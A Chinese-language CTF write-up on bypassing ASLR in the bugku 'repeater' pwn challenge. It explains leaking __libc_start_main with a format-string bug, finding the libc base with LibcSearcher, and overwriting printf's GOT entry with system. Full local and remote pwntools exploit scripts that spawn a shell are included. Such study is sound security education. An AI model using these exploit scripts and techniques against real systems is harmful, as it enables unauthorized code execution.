前面的学习测试中,一般都是关闭了地址随机化来测试以及学习的。但是一般情况下,除了基址,其它的地址一般都是开启了随机化保护的。

0x00 准备工作

0x01 pwngdb&pwndbg

peda的插件虽然好用,但是pwn专属的调试插件会更好用。安装教程如下:

pwngdb

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ~/Pwngdb/.gdbinit ~/

pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

避坑

在home目录下的.gdbinit文件里面是没有pwndbg信息的(如果安装的时候没写进去的话)

vim ~/.gdbinit
然后写入
source ~/pwndbg/gdbinit.py

然后按照如下内容进行修改即可,顺序最好和以下一致,以防出现意外。

然后测试一下:

使用方法&参考资料:

资料一:安装及配置

资料二:命令参考

0x02 repeater

这次使用bugku的pwn题 repeater,是比较高质量的题目案例。

0x10 绕过地址随机化

0x11 分析思路

保护检查,只有NX

IDA查看

这个可以看到是格式化字符串的漏洞了,但是程序中没有system函数所以没有基址。

0x12 攻击思路

  1. 在程序运行过程中查找到system函数以及地址
  2. 获取printf函数的got表地址
  3. 劫持printf函数为system函数
  4. 执行 system('bin/sh')

关键就在这一步,怎么在程序运行中找到system函数的地址,可以使用gdb调试然后找到system地址,但是运行就会发现报错,这是因为程序每次运行地址都是随机化的。这里我们找的其实就是程序加载的libc文件中的system地址。所以需要先找到程序使用的libc文件,使用如下命令

ldd ./pwn7

得到 /lib/i386-linux-gnu/libc.so.6,此时就可以很轻松的得到libc中的函数的偏移(使用pwntools分析elf文件的方式)。

libc加载运行时,它的内部的函数的地址偏移量是不会发送变化的,elf程序运行时会虚拟化一个地址(libc的基址),然后分配给libc,从这里加载并运行libc文件,但是libc作为一个整体是不会被打乱拆散的。所以现在就想办法到libc_base即可。

0x13 调试程序

  • 使用b printf在printf处下断点(原因见下文)
  • 输入r执行程序
  • 程序提示用户输入
  • 输入任意内容后回车
  • 此时程序运行到printf语句停止

输入stack 50命令查看栈情况

  • 可以看到,在0xffffcf50处为之前输入的flag
  • 在0xffffcfdc处为libc_start_main+245
  • 使用fmtarg 0xffffcfdc算出偏移,此处知道了为%35$p

程序停在了printf函数,此时的栈刚好就是函数调用的栈内偏移的情况,所以如果不使用fmtarg的话,可以看到0xffffcfdc处最左边是行数(也是栈偏移量),可以得到0x24 = 36,所以是%35$p,所以可以通过输入%35$p来泄露libc_start_main的地址。

使用libc_start_main的地址减去libc_start_main在libc中的偏移就得到了libc_base。

0x14 pwntools实现

#coding=utf-8
from pwn import *

context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

p = process('./pwn7')
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
libc_start_main = int(p.recv(8),16)-245
#此处使用ldd pwn7查看本机使用的libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base = libc_start_main - libc.symbols['__libc_start_main']   #libc基址
log.success('libc_base  \t: ' + hex(libc_base)) 
system = libc.symbols['system'] + libc_base   #此libc的system地址
log.success('libc_system\t: ' + hex(system))

#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))

#格式字符串漏洞套路,分段
ch0 = system&0xff
ch1 = (((system>>8)&0xff) - ch0)&0xff
ch2 = (((system>>16)&0xff) - ((system>>8)&0xff))&0xff
ch3 = (((system>>24)&0xff) - ((system>>16)&0xff))&0xff
payload = "%" + str(ch0) + "c%18$hhn"
payload += "%" + str(ch1) + "c%19$hhn"
payload += "%" + str(ch2) + "c%20$hhn"
payload += "%" + str(ch3) + "c%21$hhn"
payload = payload.ljust(48,'a').encode()
#改写printf的got表,把prinf的got表改为system地址
payload += p32(printf_GOT)
payload += p32(printf_GOT + 1)
payload += p32(printf_GOT + 2)
payload += p32(printf_GOT + 3)

p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

构造payload这里是进行byte写的,将地址放在最后面,但是可以会造成地址未对齐,所以使用ljust方法进行填充,简单分析:

一个byte最大为0xff(256),所以 str(ch*)的位数为1到3,按照最大值3计算,每写一个byte需要构造的payload长度为 len("%256c%18$hhn") = 12,所以四个byte需要 4 * 12 = 48 个字节的长度,在32程序中,4个byte刚好是一个参数的长度,48bytes则是12个参数,栈传递到输入的值则是%6$p(可以使用fmtarg或者一个一个输入测试),所以填充到48之后,参数就是从%18$p开始了。

此时,就成功绕过了地址随机化的问题。

0x20 LIbcSearcher

在本地成功了,但是如果换成远程连接的话,就又会出错了,因为每台主机使用的libc文件不一定是相同的,libc的版本非常多,只用你自己的libc文件去撞其他主机,成功的可能性是很低的。这就需要用到另一个工具:LIbcSearcher。

0x21 安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

0x22 使用方法示例

libc = LibcSearcher("gets",gets_real_addr)			#通过泄露的函数的地址来查找可能的libc

libcbase = gets_real_addr – obj.dump("fgets")		#libc基址
system_addr = libcbase + obj.dump("system")     	#system地址
bin_sh_addr = libcbase + obj.dump("str_bin_sh")		#/bin/sh地址

0x23 exp

#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
   
#远程环境
p = remote("asteri5m.icu",10000)#bugku环境要金币,所以我自己搭建了
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
#本地是减245没错,但是远程就会失败,查找不到,百度其他师傅是247,嗯……很怪
libc_start_main=int(p.recv(8),16)-247
#查找可能的libc
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')  #libc基址
log.success('libc_base  \t: '+hex(libc_base))
system=libc.dump('system')+libc_base   #此libc的system地址
log.success('libc_system\t: '+hex(system))

#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))

#格式字符串漏洞套路,使用fmtstr_payload快速构造payload
payload = fmtstr_payload(6, {printf_GOT : system}, numbwritten = 0, write_size = 'byte')

p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

搜索到6个可能的libc,选择第二个即可

成功cat了flag

0x24 fmtstr_payload

fmtstr_payload 是pwntools里面的一个小工具 ,简化格式化字符串payload的构造

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload

fmstr_payload 的官方文档 : https://docs.pwntools.com/en/stable/fmtstr.html

0x30 总结

  1. 找到libc_start_main在栈内的偏移,使用%p暴露该地址
  2. 利用LibcSearcher猜测使用的libc,算出libc基址
  3. 计算出此libc的system地址
  4. 把prinf的got表改为system地址
  5. 执行system(’/bin/sh’)